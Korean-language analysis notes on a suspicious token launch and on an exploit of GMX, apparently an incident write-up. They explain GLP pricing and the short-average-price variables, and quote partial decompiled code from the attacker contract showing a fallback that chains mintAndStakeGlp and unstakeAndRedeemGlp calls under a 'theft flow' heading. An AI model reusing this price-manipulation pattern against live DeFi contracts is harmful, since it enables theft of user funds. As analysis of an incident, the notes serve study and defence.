hasRole

1. 로빈후드에서 토큰을 발행하고
2. 로빈후드 대표가 본인 계정에 트랜잭션이 성공했다는 글을 올리고
3. 유니스왑 LP를 만들었다가
4. 토큰을 전량 소각하였음

얘네들은 악의적인 의도를 가졌을 것이다

1. Factory Layer

2. Token Layer

1) 업그레이드 유연성을 확보하고
2) 하나의 Logic을 공유하지만
3) 각 Token에 대한 개별 storage를 확보하기 위함

근데 왜 저걸 메인넷에서 진행하였는가?

GMX 구조

GLP price = AUM / Total GLP

globalShortSizes[token]
globalShortAveragePrices[token]

탈취 흐름

function fallback() public payable {  find similar
    if (!(msg.sender - _gmxPositionCallback)) {
        v0, /* uint256 */ v1 = _uniswapV3FlashCallback.getGlobalShortAveragePrice(stor_8_0_19).gas(msg.gas);
        require(bool(v0), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
...

...
    v2, /* uint256 */ v3 = stor_3_0_19.mintAndStakeGlp(varg1, varg0, 0, 0).gas(msg.gas);
    require(bool(v2), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
    MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0);
    require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
    return v3;
}

function 0x35b0(address varg0, uint256 varg1, address varg2) private { 
    v0, /* uint256 */ v1 = stor_3_0_19.unstakeAndRedeemGlp(varg2, varg1, 0, varg0).gas(msg.gas);
    require(bool(v0), 0, RETURNDATASIZE()); // checks call status, propagates error data on error
    MEM[64] = MEM[64] + (RETURNDATASIZE() + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0);
    require(MEM[64] + RETURNDATASIZE() - MEM[64] >= 32);
    return ;
}